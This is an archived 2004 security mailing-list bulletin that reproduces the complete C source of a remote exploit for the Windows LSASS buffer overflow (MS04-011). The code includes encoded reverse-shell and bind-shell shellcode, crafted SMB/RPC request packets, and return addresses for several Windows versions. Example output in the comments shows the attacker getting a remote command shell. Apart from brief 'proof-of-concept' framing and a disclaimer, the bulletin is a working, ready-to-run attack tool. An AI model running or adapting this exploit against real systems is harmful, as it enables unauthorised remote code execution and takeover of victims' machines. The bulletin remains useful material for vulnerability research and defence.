[EXPL] Windows Lsasrv.dll Remote Universal Exploit (MS04-011)

• Previous message: SecuriTeam: "[UNIX] ssmtp Insecure File Creation"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 2 May 2004 11:28:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Windows Lsasrv.dll Remote Universal Exploit (MS04-011)
------------------------------------------------------------------------

SUMMARY

The below exploit code can be used to test your system for the
vulnerability in LSASS mentioned in
<http://www.securiteam.com/windowsntfocus/5YP0C15CKY.html> Windows Local
Security Authority Service Remote Buffer Overflow (MS04-011).

DETAILS

Exploit:
/* HOD-ms04011-lsasrv-expl.c:
 *
 * MS04011 Lsasrv.dll RPC buffer overflow remote exploit
 * Version 0.1 coded by
 *
 *
 * .::[ houseofdabus ]::.
 *
 *
 * -------------------------------------------------------------------
 * Usage:
 *
 * expl <target> <victim IP> <bindport> [connectback IP] [options]
 *
 * Targets:
 * 0 [0x01004600]: WinXP Professional [universal] lsass.exe
 * 1 [0x7515123c]: Win2k Professional [universal] netrap.dll
 * 2 [0x751c123c]: Win2k Advanced Server [SP4] netrap.dll
 *
 * Options:
 * -t: Detect remote OS:
 * Windows 5.1 - WinXP
 * Windows 5.0 - Win2k
 * -------------------------------------------------------------------
 *
 * Tested on
 * - Windows XP Professional SP0 English version
 * - Windows XP Professional SP0 Russian version
 * - Windows XP Professional SP1 English version
 * - Windows XP Professional SP1 Russian version
 * - Windows 2000 Professional SP2 English version
 * - Windows 2000 Professional SP2 Russian version
 * - Windows 2000 Professional SP4 English version
 * - Windows 2000 Professional SP4 Russian version
 * - Windows 2000 Advanced Server SP4 English version
 * - Windows 2000 Advanced Server SP4 Russian version
 *
 *
 * Example:
 *
 * C:\HOD-ms04011-lsasrv-expl 0 192.168.1.10 4444 -t
 *
 * MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
 * --- Coded by .::[ houseofdabus ]::. ---
 *
 * [*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal]
lsass.exe
 * [*] Connecting to 192.168.1.10:445 ... OK
 * [*] Detecting remote OS: Windows 5.0
 *
 *
 * C:\HOD-ms04011-lsasrv-expl 1 192.168.1.10 4444
 *
 * MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
 * --- Coded by .::[ houseofdabus ]::. ---
 *
 * [*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal]
netrap.dll
 * [*] Connecting to 192.168.1.10:445 ... OK
 * [*] Attacking ... OK
 *
 * C:\nc 192.168.1.10 4444
 * Microsoft Windows 2000 [Version 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\WINNT\system32>
 *
 *
 *
 * This is provided as proof-of-concept code only for educational
 * purposes and testing by authorized individuals with permission to
 * do so.
 */

#include <windows.h>

#pragma comment(lib, "ws2_32")

// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";

char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";

char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...

char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";

char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";

#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90

struct targets {

int num;
char name[50];
long jmpaddr;

} ttarget[]= {

{ 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp
esp addr
{ 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp
ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp
ebx addr
//{ 3, "reboot", 0xffffffff }, // crash
{ NULL }

};

void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP]
[options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr,
ttarget[i].name);
printf("\nOptions:\n");
printf(" -t: Detect remote OS:\n");
printf(" Windows 5.1 - WinXP\n");
printf(" Windows 5.0 - Win2k\n\n");
exit(0);
}

int main(int argc, char *argv[])
{

int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];

unsigned short port;
unsigned long ip;
unsigned char *sc;

char buf[LEN+1];
char sendbuf[(LEN+1)*2];

char req4u[sizeof(req4)+20];

char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];

char recvbuf[1600];

char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];

unsigned int targetnum = 0;

int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;

printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");

if (argc < 4) {
usage(argv[0]);
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);

for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;

if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);

//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));

memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

memcpy(&buf[2856], sc, strlen(sc));

for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

WSAStartup(MAKEWORD(2,0),&wsa);

if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}

their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("[*] Target: IP: %s: OS: %s\n", argv[2],
ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct
sockaddr)) == -1)
{
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}

printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1,
(LEN+1)*2-4348);

memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3,
sizeof(shit3)-
1);

if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}

} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by houseofdabus.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] ssmtp Insecure File Creation"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]